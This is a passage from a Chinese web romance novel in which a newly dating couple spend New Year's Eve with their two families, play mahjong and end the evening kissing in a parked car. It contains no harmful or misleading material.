反正他下班第一时间是先来她家而不是自己家。 虽然虞千绾没出什么实质上的力气,但既要思考带什么回来又度过了一截枯燥的车程,她顿觉自己的精神疲累。 到达别墅就径直倒在了沙发里玩手机,连楼都懒得上。 但临过年, 这样那样需要花时间的事总有不少。 比如爸妈说带她出去买新年礼物, 随她挑,姐姐也说,但姐姐这阵很忙腾不出时间陪她一起, 便直接转了钱让她自己想买什么买什么,不够再找同她要。 再比如,她也是个做小姨的人了, 所以她准备领着小橙子出去逛逛,看看小家伙想要什么,她买单! 都是些幸福的二三事。 所以虞千绾没在家里躺一会儿就起身去和爸妈小橙子碰面了,四人先一起吃了顿午饭再逛逛玩玩。 虞昭音则为了腾出过年那几天的空闲时间正在集团里加班加点工作,没法加入一家人新年前的活动。 她人虽然没去,但一家人都很惦记她,看到适合她风格的衣物首饰都买着,期间发生什么有趣的事也及时拍照片和视频分享过去。 热热闹闹的两天很快就过去,时间来到除夕这天。 虞千绾早晨九点就跟着爸妈姐姐带着小橙子出发前往爷爷奶奶家。 爸妈一辆车,她和姐姐小橙子一辆车。 老人家总是很在意逢年过节的日子,一年一度的春节尤其,但今年,两位老人家显然心情比往年都要好。 一行人的车还没停稳,视线就掠过车窗瞧见了院中特意布置过的喜庆。 对联、倒着贴的福、大红灯笼、铺上红布裹上红纸的物什、盛放着的梅花树树枝上挂着的红绸…… “哟,老公你看,爸妈今年给院子弄这么漂亮呢。” 贝菡看到的瞬间就笑呵呵杵了杵身边的虞宗然。 另辆车内,虞昭音轻轻推了推虞千绾的肩膀唤她:“绾绾,到了,醒醒。” 过年旁的地方都挺好,就是早起很要命。 虞千绾虽然知道今天的安排,也提前定了闹钟,但年轻人零点以前睡觉真的太难,虞千绾随便刷刷手机再和商恪景发发微信煲煲电话粥就到凌晨两点了。 所以早晨闹钟响起时,她一秒就给摁掉了,完全起不来,最后是被催促好些次但无果的妈妈直接掀被薅起来的。 虞千绾艰难睁开眼睛强撑着精神去换衣化妆,上车后很快倒头又睡了。 现下睡得正熟又被喊醒,虞千绾不情不愿拖着懒音低低哼唧声,“嗯……” 身体却毫无要起来的意思。 “听话,起来了,爷爷奶奶都出来迎咱们了。” 二老一直坐在院中等着他们来,庭院门大敞着,车辆一到他们就能瞧见,巴巴地出来迎。 爸妈和爷爷奶奶的交谈声隔着车窗传入耳朵里,虞千绾不得不打起精神下车。 刚睡醒的人本就畏冷,又乍然从温暖的地方进到寒风中,寒冷加倍,虞千绾推开车门的瞬间就被冻得哆嗦了下,混沌困倦的脑袋倒因此醒了些神。 “爸妈,院子里是你们俩自己弄的吗?还是让人弄的?真不错,看着就很有年味。” “我跟你爸自己弄的,这不是双喜临门高兴嘛。” 虞千绾下车的时候正好听到爸爸和奶奶的这段对话。 而他们的视线也顺势就落到她身上。 显然,奶奶口中那个除去春节外另个值得高兴的“喜”是她和商恪景恋爱的事。 虞千绾隔空一个眼神就get到,顿感要经历一番追问的她扯出抹干巴巴的笑,丁点困意都没了,“奶奶,爷爷。” “太爷爷太奶奶,除夕快乐!” 幸而小橙子跟在虞千绾后头就唤了二老一声,还小跑到二老中间,扬着天真的笑脸一手牵一个。 小孩子这个年纪本就可爱,小橙子又遗传了一副好皮囊,即便是陌生人都情愿多看几眼,遑论二老对曾孙还有很厚的一层血缘滤镜,瞬时就乐起来,注意力被吸引去部分,短暂拯救了虞千绾一会儿。 但也真的就很短的一会儿,堪堪三四分钟的时间,奶奶就没憋住开启了话题,“千绾呀,你和恪景什么时候处对象的?你什么时候喜欢他的?怎么不早点说,我跟你爷爷这些天都高兴坏了,就等你今天来详细问了。” 虽然大致消息二老都从儿子儿媳那知晓了,但经人二传的文字哪有当事人亲口说起来详尽。 而且这种好消息,听无数遍也是不会腻的。 许是这些天已经被爸妈揶揄过太多次,赧色就从虞千绾面色一划而过并未停留太久。 院中太冷,这个话题一聊起来更是不会太快停下。 虞千绾便挽着爷爷奶奶进了家,坐在沙发上笑吟吟同她们聊,爸妈和姐姐也跟过来一起坐着,时不时插几句。 一家人其乐融融坐在一块,时不时发出哄笑。 这样的氛围配上充斥着大红色的家才真正让人沉浸式有了过年的实感。 约莫半小时后。 突兀的叩门声打断了这份温情,一道苍老但很有精气神的男声隔着门微微发闷的传进来,“立诚啊,在家吗?我们过来看看你们啊。” 彼此之间太熟,哪怕只是一句话也听得出是商恪景爷爷的声音。 在之前,两家人也常在除夕人最齐的时候互相拜访闲聊。 但现在有了虞千绾商恪景恋爱这层更近的关系,大家听到商老爷子声音时,眼睛里都同步掺上了笑揶别有深意地看向虞千绾。 虞千绾被这眼神盯得不好意思,倾身就从茶几上拿起一个橘子低头自顾自地剥,以此躲避他们视线。 虞爸起身去开门迎客。 商家人来得很齐,祖孙三代一个不落全来了。 虞千绾侧目瞧去,视线隔着距离和攒动的数抹身影径直与商恪景碰上,但知道长辈们都在默默观察他们,虞千绾没好意思和商恪景对视太久,转瞬就错开了,往嘴里塞了一牙清爽的橘子后起身去和商恪景家长辈笑眯眯打招呼,全程都尽量不和商恪景有眼神对视,否则她可能会绷不住。 这还是他们和家人公开恋爱消息后首次见到对方的家人。 氛围稍微有些微妙,虞千绾之前劝商恪景劝得头头是道,让他别因为和她交往就觉得和她爸妈之间关系变得不太一样了想东想西的,他们还是他们,他还是他,没什么不同。 结果现在轮到自己却紧张得要命,虽然知道他爸妈人很好也很喜欢她,但就是按捺不住局促,呼吸都放缓放浅了许多。 商恪景妈妈又是个分外热情的性格,抓着虞千绾手就表达了好一通欣喜。虽然一个字都没直白提到她和商恪景交往的事,但话里话外都是这意思。 商恪景朝虞千绾这边挪了半步,伸手压了压桑元蔚的手腕,低声:“好了妈,你别说了,去跟蔚奶奶聊聊吧。” 换做平常桑元蔚肯定要埋怨商恪景,她还没和千绾聊几句呢,他怎么就来打断了? 但今天这种场合这种氛围,就算被打断,桑元蔚也高兴的不得了,反倒笑得更灿烂了,“好好好,不打扰你们,你们聊你们聊。” 两家凑在一起乌压压的不少人,很快就分成了一小团一小团的,三三两两聊着一个话题,不过余光都在关注着商恪景和虞千绾这边。 两人自也觉察到,所以即便挨着坐在一起也只是说些有的没的话,直到长辈们真的开始聊嗨没怎么关注他们了。 商恪景才步入正题很小声问她:“没看手机吗?一直没回我消息。” 尾音带点撒娇的哀怨,“……我好想你。” 他们虽然和家人们没有坐在一起,但之间距离也绝对算不上远,毕竟都在一个空间内,声音但凡放大些都能被对方听到。 所以商恪景在这种场合说这种话,即便是刻意将声音压得很低了,虞千绾还是跟做贼似的陡然紧张得要命,耳根迅速飞上绯红,“你别说这些呀!” “为什么?” 商恪景明知故问,放在腿侧的手忽而动了动,无名指和小指压住了虞千绾的指尖,桃花眼蓄满浓情,声音低的几乎是用气音诉出,“想女朋友不可以说吗?” 就像是有股电流自尾椎骨攀升,一秒蔓延全身。 虞千绾触电般绷直身的瞬间手也一同挣出,分外老实地搭在膝上。 她背对着家人暗暗瞪了商恪景好几眼,不出声冲他比口型警告,“别、搞、小、动、作!” 商恪景低笑声,两指衔着手机晃了晃,又将话题拉回最开始,“所以怎么一直不回我?” “我没睡好,早上被喊起来以后着急忙慌收拾自己,上车以后才有空给你回消息,但没过一会儿又睡着了,下车后就一直在和家里人聊天,还没腾出空看手机,不知道你给我发了消息。” 虞千绾边跟他解释边掏手机出来看他给她发了什么。 大量没营养的消息和表情包涌入虞千绾眼中,只穿插了短短几句他们一家要来她家的有用提醒消息。 虞千绾昨晚是睡在爸妈家的,所以昨日虽然和商恪景见面了,但肯定不比他们单独住的时候相处时间长,没法一直亲着抱着到睡前。 今天又要来爷爷奶奶家,二人的私密时间只会更少。 且她明日就要去沪市了。 商恪景就跟分离焦虑似的,还没彻底分离就难受了,没见到她的时间里给她发了一堆【想你】【想你】【想你】【想你】…… 可说的是想,表情包发的却是亲亲。 虞千绾看着这些重复的、没营养的消息,唇角上翘的弧度愈发压不住,分明很是受用。 可爸妈就在一旁,她不敢太放肆,迅速看完就灭屏收了手机,扭头故作骄矜回商恪景,“哦,我知道了。” 她就是故意装平淡在逗商恪景,她知道商恪景肯定不信她表露的淡定,但看着她这样依旧会不爽,想听她心口如一地回说她也想他。 可谁让他刚刚使那些小招数害得她心惊肉跳? 所以她知道他想听什么也不配合着说,就想暗戳戳弄他一下,让他气笑但又碍于长辈们都在这不能像在校外时那样直接把她压在沙发上又挠痒痒又亲的,只能拿她没辙的忍着。 谁知商恪景完全没有入套,他的脸上毫无不虞。 反而顺着她的话点了点头,“嗯,那我还有件事需要让你知道一下。” 没看到自己想象里的画面,虞千绾心生忿忿,但她觉得商恪景就是在装,于是她也继续装淡定,声线平稳,“哦,什么?” 商恪景身形微弓,佯装低头整理衣服的时候迅速掠过她耳畔,以一种极其暧昧的声音低低说:“我今晚去找你。” 掺杂着趣狭的坏心,他略显混不吝含混加了个从未喊出口的称呼,“……宝宝。” 可唤出的瞬间,商恪景就顿住了,嘴巴仿佛不再属于自己,就跟刚被滚滚烈火燎过般,眼神也陡然清澈了不少。 这和他的想象不一样…… 在商恪景的想象里,这般姿态该是出现在虞千绾面上的。 谁知话出口却完全变了味。 两个人登时都有些别扭。 一个轻咳声稍稍别开了眼耳根以肉眼可见的速度涨红,一个抿笑瞧他好几眼但越看越想笑,笑容有些憋不住了,她才错开视线,怕自己再盯下去笑出声会被家人觉察。 作者有话说:喊宝宝给自己喊害羞的清纯男大一枚[狗头叼玫瑰][狗头叼玫瑰] 第75章 第 75 章 阖家欢乐 虞商两家关系虽好, 但还从未一起吃过年夜饭,毕竟这种日子和旁的不同,他们就算关系再好也不是真真正正的一家人,还是需要有些分寸感的。 虽然若对方来自家吃年夜饭他们并不会觉得冒昧, 反而很欢迎, 可身份转换就会感到打扰对方, 他们都默契在心里这么想, 所以这么多年皆没有在一起吃过年夜饭。 而今, 虞千绾和商恪景的恋爱无疑让两家有了变成真正意义上的一家人的可能性,使得两家长辈之间的相处更是一点罅隙都没了。 也不知是哪家哪位长辈提的, 总归当窃窃私语的虞千绾和商恪景知晓时, 大人们已经约定好晚上在一起吃年夜饭的事了。 因为虞家二老将院子里布置得漂亮,只是坐在客厅里偶然朝窗外眺出一眼都会让人感到赏心悦目, 于是年夜饭的地点就定在了虞家。 商家人也不空手来,他们晚饭会把自家准备的年夜饭端过来。 相当于是虞家提供了个地点, 然后两家各带各的菜, 混在一张桌上一块吃。 不过午饭,两家还是分开吃的。 硬菜大菜基本都留在晚上,所以中午吃的就略显随意,而且大家聚在一起聊天时多多少少吃了些摆在茶几上的东西, 现在也不是太饿, 就算午饭准备得丰盛也得浪费。 热闹一褪去,虞千绾就开始犯困,困怠的时候没什么胃口, 她吃得就更少了。 七八分饱时她就在想,等到大家都吃得差不多开始聊天的时候她就可以离席去卧室补会儿觉了。 结果比这个契机先到的攒麻将局的消息。 虞千绾登时来了劲,第一个举起手说自己要打麻将, 眼睛亮亮的,哪还有想睡觉的样子。 贝菡失笑,调侃自家女儿,“真是个赌鬼。” 虞宗然挽了挽袖口,“来,我看看你技术是进步还是退步了。” “那必然进步,还缺两个呢,谁来?” 虞千绾双手抱胸,扬声大放厥词,“我今天要赢三家!” 奶奶笑呵呵学着虞千绾刚刚的模样举手,“我来,要是给你小金库榨干了可别哭鼻子。” “才不会呢奶奶,我都多大了。” 虞千绾抱住奶奶胳膊眨了眨眼卖乖,“而且呀,今晚守完岁您和爷爷还要给我大红包呢,您们这么爱我,肯定会给我一个超级超级大的红包对吧?会一下就把我的小金库充实满的,我相信您,您最最最最阔绰啦~还有我亲爱的爸爸妈妈~一年一度证明谁最爱我的时刻到了!” 虞千绾长相甜美可人,声音脆灵,看在家人眼里更是个萌宝。即便是这么近乎明示的要钱,长辈们依旧感觉到她可爱到不行,纷纷笑出声,暗暗想如果虞千绾今天打麻将输钱的话,他们肯定要在红包里多塞些钱补给她。 不输钱,也可以再多给点。 麻将桌还差一个人,老爷子不太会打麻将。 贝菡则对打麻将没那么大兴趣,坐下玩和围观对她来说没有太大区别,她便朝门外抬了抬下颚,“千绾你去问问你姐,看她打不打麻将,刚刚说有个工作电话出去接去了,她要是不玩的话我就上。” “好,你们准备麻将桌吧!” 虞千绾一口应下,心情愉悦哼着歌就快步朝外去寻姐姐。 院中虽然充斥着各种的大红色元素的物什看起来很兴盛火热,但里头卷来又刮去的冷风可是半点不留情。 虞千绾刚推开入户门就冷地缩了缩颈,将下半张小脸都藏到衣领中,心里不自觉犯嘀咕,姐姐接电话怎么不去书房,待在院子里多冷。 虞昭音正站在孤寂的木亭下接电话,也就是商恪景和虞千绾彻底捅破窗户纸交谈清楚的那个木亭。 这里的隐私性相对较好些,不会像在庭院里那样一举一动都轻易暴露在所有人眼中,但同样,有墙面挡着,置身于木亭下的人也无法第一时间发现靠近的人,除非那人行过墙面踩上小道。 虞千绾无意偷听姐姐讲电话,但姐姐是侧背着她这边的,没发现她的到来,抑或是大多注意力都被电话那头的人吸引去。 虞昭音的声音不轻不重,换做平常绝对是可以完全传到虞千绾耳朵里的,可惜庭院里风太大,虞千绾没能将姐姐的话听得太清楚,一句话里只能断断续续听到几个字,可姐姐那语调和肢体动作明显不是在谈工作,倒像是在——调情。 虞千绾这下是真的想要偷听了,她一副吃到大瓜的表情,五官激昂乱飞,唇瓣却紧紧抿着大气不敢出生怕被姐姐觉察到,脚下步伐也放轻。 奈何堪堪两秒,正在打电话的虞昭音一个不经意扫来的余光发现了她,刚要游离走的视线倏然定格在她身上。 虞千绾还保持着偷感很足的样子,一眼被虞昭音看穿意图,她赶忙定住脚站直身子讪讪笑了笑,不敢再靠近。虞昭音眯了眯眼,隔空指了指她警告,虞千绾笑得更谄媚了。 “有事,挂了。” 这一次,虞昭音声音一字不落落到虞千绾耳朵里。 她听着姐姐这毫无多余解释的简洁话语,以及不等对方回应就挂断的通话,不禁在心里叹了口气。 原来是她想多了,姐姐看起来没有在恋爱,顶多算是暧昧期,而且她姐显然是关系里的主导方,并且没那么上头。 不过这也很罕见了,自从有了小橙子后,这还是虞千绾第一次发现姐姐的恋爱苗头。 她睁圆眼睛,噙着笑看着姐姐朝她走近。 虞昭音用手机背面轻拍了下虞千绾屁股,“不许跟爸妈瞎说。” 这话一出,虞千绾更确定刚刚和姐姐通电话的是个男人了。 她雀跃抱住姐姐胳膊,“谁啊谁啊?我认识吗?” “不”字的前半截气音刚出,想到什么的虞昭音又闭住,再次警告,“小点声,不许往外说,要是被爸妈知道你的零花钱就没了。” “我肯定不会和爸妈说的。” 虞千绾不假思索,但对姐姐的暧昧对象好奇得要命,晃着姐姐胳膊就开始撒娇,“那个人到底是谁啊?姐你跟我说说嘛,我恋爱我都第一时间和你说了。” 虞昭音揪字眼,“我没有恋爱,恋爱的时候我会告诉你的。” “可我和商恪景暧昧的时候就已经跟你说了。” 虞千绾不停地哼唧,“姐你这样不公平,我都没瞒你的。” 虞昭音直接选择当没听见,生硬转开话题,“出来做什么的?” 虞千绾松开虞昭音胳膊,哀怨至极,“姐——” “听话,如果真有那么一天我会跟你说的,但现在我没有任何和他恋爱的想法,所以觉得没必要特别和你们介绍他。” 虞千绾撇了撇嘴,不情不愿,“那好吧……” 虞昭音摸了摸她脑袋,又问:“出来找我做什么?” “三缺一,打不打麻将?” “打,我妹妹最爱玩的我能不陪吗?” 刚还有些声音闷闷的虞千绾听到姐姐明显安抚的话,唇角很好哄的微微上扬,但还有些计较,“说好了,后面你要是和他关系更近一步,要第一时间和我说的,不然我以后都不要和你分享了。” “一定。” 虞昭音朝虞千绾伸出手。 虞千绾傲娇哼哼两声,但还是把手搭了上去。 姐妹俩同时发笑,携手一起回家开始了麻将局。 麻将开始前,虞千绾特意给商恪景发了消息告知,因为她清楚自己一打起麻将肯定是不会管手机的,防止他又给她发消息迟迟得不到回复。 两家老人的住所离得近,商恪景看到消息后就直接过来了。 大家都心照不宣,知晓商恪景是惦记虞千绾才过来的,但嘴上佯装询问“恪景打不打麻将啊?不然我们给你让个位置出来打?” 以此维护着两个刚恋爱不久孩子的薄面。 “不了贝姨。” 商恪景含蓄笑了笑,说出的话却没那么含蓄,“我看千绾打就行。” 贝菡不禁笑着“哎哟”了声,到底没绷住在明面上道了句“这么多年老见你们俩闹来闹去的,总是连名带姓喊着对方,现在冷不丁这么腻乎喊千绾还眉来眼去的,我倒有些不适应了。” “妈~” 虞千绾羞愤嗔了妈妈一眼,“你说什么呢。” 贝菡笑意更甚,眼睛都眯成了一条缝,“好好好,不说了我不说了。” 在这一会儿,虞千绾是很难为情的,因为虽然妈妈嘴上不说了,但明着揶揄过后的氛围一时间难散,长辈们都用一种欣喜的眼神瞧着他们。 加之贝菡开了个头,大家也没一开始那么敛着,时不时的会提几句他们交往的事。 但这事真说开了聊多了,渐渐适应也就没那么别扭了。 早上在家人面前只好意思窝在一旁小声交流的他们举止愈发自然亲昵。 先是打麻将时,商恪景不仅紧挨着坐在虞千绾身边并且单臂担在她椅背上,手指时而会捻住她的秀发在指间轻绕。 再是虞千绾明显不同以往略带娇声的使唤,“嗯……椅子好硬,想要个软毯垫着”“商恪景,我要喝水”“橘子~” 商恪景自然不能给她一个完整的橘子,自觉剥去了橘子皮才送到她唇边。 虞千绾双眼巴巴盯在麻将上,关注着自己和其余三家打了什么牌,橘子递过来时,她手都没抬,脑袋轻垂就张唇咬住商恪景手上的橘子。 商恪景已经拿的是较小的橘子了,但虞千绾嘴巴小,一口咬入整个,齿尖刺破橘肉的时候,香甜饱满的汁水跟着就往外溢。 商恪景正拿着湿纸巾在擦手,眼疾手快将湿纸巾摁在她唇角给她擦掉了橘橙色的液渍,倒比虞千绾自己下意识伸出想接的手还要快。 “还吃吗?” “嗯!”虞千绾重重点了点头,“好吃,特别甜。” 商恪景立即起身去抓了好几个橘子。 虞昭音揣着答案笑问:“甜的是橘子本身还是因为有人在剥?” 虞千绾还是有些赧然的,但经历好几次阈值高了些。 她打出一张五饼,抿着笑应下,“那当然是二者都有啦。” 全家人全部发出甜掉牙的起哄声。 商恪景也闷着笑,低垂着视线一边剥橘子一边回味虞千绾刚刚的话。 “哎呀呀,怎么说声橘子就有剥好的橘子喂到嘴边了呢。” 奶奶格外戏精地捂了捂心脏,“快,老头子,我也要尝尝咱家特别甜的橘子。” 爷爷配合起身,去抓了两大把橘子,“得嘞!我这就去。咱们这么多年老夫老妻可不能被小朋友比下去了。” 虞宗然侧目看向贝菡,“老婆,她们都有的我也要。” 贝菡羞笑声,也去拿了几个橘子。 但真见贝菡要剥橘子的时候,虞宗然伸手止住了,大过年的,别给她特意做的漂亮美甲染黄了。 大家都有些笑得腰背微微弯着了。 偏在这时,一直安静坐在一旁地毯上看故事书的小橙子放下故事书爬起来了,他迈着小碎步就奔向茶几,把果盘里仅剩的两个橘子一手一个拿起,稚气的声分外高昂,“妈妈,你也有!橙子给你剥橘子。” “哈哈哈哈哈哈哈。” 全场爆笑,笑声叠起。 虞千绾直接笑趴在桌上,商恪景也笑得合不拢嘴,身体笑颤。 恰在这时,无人注意到的窗外飘下了细密的绒雪,雪花落到贴着漂亮剪纸的窗户上迅速融化成水。 这是京市今年冬季的初雪,更为除夕增添了抹特殊性。 也更衬得屋内的温馨与阖家欢乐。《 》 75-80 第76章 第 76 章 “……别往下了” 经过这么大半天的时光, 待到傍晚时分,虞千绾和商恪景基本都已经适应了大家的目光,甚至时不时还会刻意秀个恩爱,大家对他们逐渐也没那么多的关注度, 就是时而扫到他们腻在一块会不自觉露出姨母笑。 两家人的相处状态渐趋以往, 唯一不同的大概就是商知珩遭受的催婚力度更大了。 长辈们仿佛随意一句话都能冷不丁转到他头上, 或直白或隐晦的让他快些成家。长辈们开头的话越和恋爱结婚无关越衬得突然cue到商知珩时, 他淡淡点头的样子有种平淡的死感。 虞千绾一直都打心底里认为商知珩是个很沉稳很寡言的人, 但今天,她几度感觉商知珩处境可怜又好笑的时候没忍住和商恪景小声蛐蛐, “头一次觉得平淡是知珩哥装出来的保护色。” 商恪景轻笑声, 跟着小声附和,“没办法, 过年这种场合又不能找借口开溜,他完全没招了, 只能这样装木头人。” 虞千绾闻言更想笑, 但怕自己笑得太放肆被商知珩觉察,默默将脸往后侧,半挨在商恪景肩头才低低漾出几声咯咯的笑。 单手握拳轻轻在他胸口碰了下,取笑道:“敢这么说你哥?他听到你就死定了。” 商恪景掌心搭在她脑后, 俯首说话时温热的唇似有若无地擦碰过她的耳骨, “所以我这不是只跟你说嘛。” 斜对角的方向,两位妈妈正在窗边赏雪。 桑元蔚谈笑间余光瞥见这幕,定睛看住, 瞬时没绷住摇头笑了笑。 见状,贝菡视线跟随着桑元蔚看的方向望去,也瞧见了面对面几乎要抱在一块的两人, 温婉浅笑。 “真好。” 桑元蔚数不清这是自己今日第多少次如此感叹,但一看到两个日复一日见证着成长的孩子现在真在一起了就跟做梦似的,总忍不住感慨,“菡菡,你说这世上怎么会有这么美满的事?咱们那么多年前怀孕时候说的玩笑话居然成了真。那会儿一个小毯子就可以裹住的婴孩,现在长得比咱们都高了。” 两位妈妈关系好,怀孕期间免不得会打趣说如果一人生的是女孩一人生的是男孩就好了,肯定是要定个娃娃亲的。 但也注定只是趣话,现在这个年代哪来的这种说法,还是得尊重孩子自己的念头,由着他们长大通情爱了自己决定。 贝菡瞧着也很有感触,“还是你当时决定做得好,要是你让恪景早一年上学,他和千绾之间怕是就没这么亲近了。” 商恪景和虞千绾虽然同岁,但生日差了近八个月。 商恪景出生于八月下旬,虞千绾则于翌年四月中旬。 商恪景的生日卡得正好,在九月开学季前,按照正常流程,他其实应该比虞千绾早一年上学。 但小孩子长得很快,几个月的差别很大,不仅是身体还有思维能力。商恪景三岁要上幼儿园前,桑元蔚瞧着还很不放心,总觉孩子还太小。尤其有大儿子作对比,就显得小儿子更小了。商知珩是十月的生日,刚好错过了九月的开学季得等次年才能上学,足足又快过了一年,所以当年商知珩上幼儿园的时候算是班里比较大的。 桑元蔚越想越不放心,索性便决定让商恪景迟一年上学,一方面是让他再长长,另方面是到时候虞千绾也到了上学年纪,届时给两个孩子安排在一个班级,天天无论干什么都有个伴,两个孩子也更容易融入新环境。 若不是如此,后来的虞千绾和商恪景大概率不能像现在这般亲近。 首先,他们即便同校也不可能在一个班级。 其次,商恪景从幼儿园升入小学、小升初、再升高上大学的这四年,他们都不在一个校园内。 对小孩子来说,这种现实上的距离是很致命的,他们会在这些时间里寻觅到自己更亲近的朋友,对方自然而然就无法成为那个最好。 追根溯源般,两个妈妈聊到这些。 桑元蔚没忍住哈哈笑了两声,倒豆子似的给商恪景老底都翻出来,“要这么说,以后两个孩子要真有缘走到结婚那步,我家那小混蛋可得给我多敬几杯茶。你是不知道他喜欢千绾多久了,但那张嘴硬的不得了。那次被他爷爷打到住院,千绾去陪床照顾,他趁着千绾睡觉的时候就在那偷拍,结果手机没拿稳直接掉到千绾睡的折叠床下面去了,给他吓得不行,就怕千绾瞧见。” 贝菡也有些忍俊不禁,“是嘛,还有这一出呢,我之前是完全没从千绾那知道太多感情上的事,她开窍迟,在这方面单纯。” 桑元蔚大手一挥,“哎呀,女孩子嘛,迟些好,总不能委屈了千绾巴巴追在那臭小子后头。” ‘臭小子’商恪景浑然不知妈妈把她所知道的那点暗恋史全都告诉了心上人的妈妈,还在低声和虞千绾商量晚上碰面的事呢- 晚上九点多,阵仗比以往都大的年夜饭彻底落下帷幕。 小橙子这个年纪的小孩没怎么熬过夜,快十点的时间于他而言已是很迟了,小家伙在大人们说话的时候就窝在妈妈腿边安安静静睡着了。 要走时,虞宗然轻手轻脚抱起了小橙子,没叫醒他,单臂托在他臀下,另手托着他脑袋让他趴在自己肩头继续睡。 大抵是见孩子困了,老人家将他们送到车旁也没再多念叨什么,只说天冷,快带着孩子进车回家好好睡吧。 就是到家了记得打个电话跟他们说一声。 虞千绾来的时候困到不行,全程睡得一动不动,回去的路上倒是精神抖擞。 主要是过会儿到家了还得找借口出门见商恪景,她思绪很难松泛下来,从包包里掏出化妆品就开始对镜补妆。 小橙子被虞宗然抱在怀里熟睡,归家时自然而然就被虞宗然抱上了他和贝菡所乘坐的那辆车。 现下虞千绾坐的这辆车里只有她们姐妹俩,说话也不需要顾及什么。 “还和商恪景有什么活动?” 虞昭音一瞧虞千绾那架势就猜到,不然大晚上的还补什么妆?回去就赶快洗洗睡了。 虞千绾觑她眼,笑容到底还是有些腼腆,“也不是什么活动啦,就是单独出去溜达溜达。” 虞昭音闲闲道:“哦,合着今天一天是我们耽误你们俩的二人世界了。” 这种拿腔作调的话最让人没法回话,虞千绾倾身就扑过去抱住虞昭音,羞愤唤了声:“姐!” 虞昭音笑着摸了摸虞千绾脑袋没再逗她,“不许太久啊,明早还得去沪市,你今天就没睡好,再熬夜身体还要不要了?” “我知道的~姐你过会儿记得帮我打打掩护让我出门,这种事让爸妈知道总还感觉有些难为情,主要我跟他才刚分开……回去又巴巴要见显得很腻乎似的。” 虞千绾越说越羞赧,眸中一片水光潋滟。 “行。”虞昭音宠溺点头笑应。 她们回的本身就迟,到家时就已经十点多了,再随便收拾一下说几句明天的安排就到了十一点。 将小橙子放到卧室再用温毛巾简单给他擦了擦身子后,虞宗然回到客厅打开电视,想着一家人一块看春晚守岁。 虞昭音闻言看向虞千绾,正好接收到她求助的眼神。 唇角抿笑,虞昭音清了清嗓,“行啊,咱们看呗,不过千绾好像过会儿有个朋友的局要去,他们年轻人有年轻人的玩法,都不看春晚的。” 同时,贝菡和虞宗然的眼神都投向了虞千绾。 虞千绾登时不好意思说自己现在就要出门,眨了眨眼坐在爸妈中间,“……还可以在家待一会儿啦,大概十分钟以后再去,很快就回来,保不齐还可以一起倒计时呢。” “没事,大过年的开心最重要,玩好了再回来,不用想着我们。” 妈妈的话刚落,爸爸就持不同意见稍稍正色道:“天太晚了,能早些回来还是早些回来。” 爸爸说这话的时候眼神略有些微妙的不同,虞千绾隐约感觉他好像觉察到了什么,但又不太能确认也不敢戳穿,讪讪笑了笑,气短了些,分外乖巧地应,“嗯嗯,肯定的。” 十分钟后,虞千绾卡着点出门。 入户门“咔哒”自外关上的瞬间,坐在沙发上的虞宗然就幽幽叹了口气,“哎,女大不中留啊。” 贝菡和虞昭音同时发笑。 虞宗然搂住大女儿的肩膀,“还是音音这样好,去父留子,没有外人来打扰咱们一家人的生活。” 外人本人商恪景正在虞千绾家门外接到她,他是开车来的,虞千绾迅速钻上副驾驶,边扯过安全带往身上系边往窗外瞄边催促,“快快快开走,别让我爸看到了!” 岳父对女婿仿佛有着某种天然的压制。 商恪景闻言一脚油门就载着虞千绾扬长而去。 但因为虞千绾提前在微信和他说过不能离家太久,商恪景便没开太远,找了个无人的空处就将车停下。 他们对京市太熟,大半夜出来本也不是想要去哪逛玩,只是明天就要分别,想抓住最后的时间多见见对方。 但车停稳的那个瞬间,车内氛围也不知怎的霎时就变了,暧昧疯狂滋生。 他们彼此间一句话都还没说,只是一个眼神,两抹身形默契悄然挨近,脑袋一垂一仰,温热的唇舌迅速纠缠到一起。 虞千绾习惯性抬手就想去环在商恪景颈后,但忽略了身前还系着的安全带,胳膊带起安全带一截,在空气里发出轻短的安全带被扯拽出的声。 商恪景觉察到,单手摸到她身边的安全带插扣解开她的安全带。 没了束缚的虞千绾迅即紧抱住商恪景,如痴如醉地吻着他。 忽地,男人有力的小臂穿至她膝弯,劲指环抱在她膝侧,直接将她稳稳抱起。 突然的失重,虞千绾下意识轻唔声睁开了眼。 但商恪景动作间都没有松开她的唇,反倒在感觉到她停下吻的时候追吻得更甚,齿尖还轻轻咬了咬她的舌尖算作她停顿的惩罚。而后又很是缱绻的吮舔,似是要抚去刚刚那点不算痛的痛。 虞千绾就这么被商恪景从副驾驶抱到了主驾驶,侧坐在他腿上,仅容纳一人的主驾驶位置再添上一人明显变得逼仄起来。 吻仍在持续,且愈发激烈。 虞千绾在不断失氧,已经腾不出多余的思绪去多想有关空间的问题了。 伴随着清脆的一声什么东西被摁下的动静,坐在商恪景怀里的虞千绾倏然跟着他一同后移,驾驶座的空间被拉到最大。 是他在调整。 又是“啪嗒”一声,他松开了控制的开关,那手转而覆上了虞千绾侧颜,虎口有意无意移到她下颚,分明没用什么劲,却透着股让她没法逃脱的侵占欲。 虞千绾脑内莫名一阵刺激。 自他动作干净利落解开她的安全带把她抱到主驾驶,再调整空间这一系列动作丝滑完成的那刻,她的心跳就在加速。虽然她什么都没看到,但感知却比眼睛更让人容易产生情愫。 他吻得越来越凶,不知是想撒娇还是怎的,虞千绾檀口溢出声娇娇的哼唧,“嗯~” 商恪景动作忽然就轻了许多,但显然不是很想放,刚退出部分舌又柔柔攻入含弄了一会儿才彻底退出。 吻依然没停,他开始浮于表面的以唇瓣蹭抚着她的唇,明显的一声克制的鼻息后,他半睁开情动的细眸,带些哄意的哑声问询:“刚刚是不是亲疼了?” 虞千绾后知后觉地睁开眼,正对上商恪景那双像是灌满了浓稠墨色的眸,但因为爱恋,那双眸微微涣散着不太聚焦,雾蒙蒙的带着色欲。 她一时间晃神多瞧了几秒他的桃花眼,身形跟着更深地往他怀里窝了窝,猫儿似的软绵摇了摇头,气息不匀回道:“……不疼。” 这么回答时,她还粲然朝他笑,尽显娇俏。 商恪景心都化作一团,不自觉跟着低低笑声。 他又含住她的唇瓣缓缓吮咬了一小会儿,边动作着边问:“那哼唧什么呢?” 他可以清楚的感知到她刚刚发出的声音不是无意,那是带有理智的,抑或是想要他知晓什么。 唇瓣挨在一起的时候说话麻酥酥的,使得两人本就荡漾的心思更是心猿意马。 车内没开灯,但商恪景停车的位置离路灯不远,有着浅浅的微光通过车前窗照入半片,低垂着头的商恪景正好将光线分隔成两半,使得虞千绾眼前影影绰绰。 在这样半明不暗的光线下,氛围又被平白增添了几分暧昧。何况他还在亲她,在她眼睁睁看着的情况下。 接吻这件事,睁眼要比闭眼撩人许多。 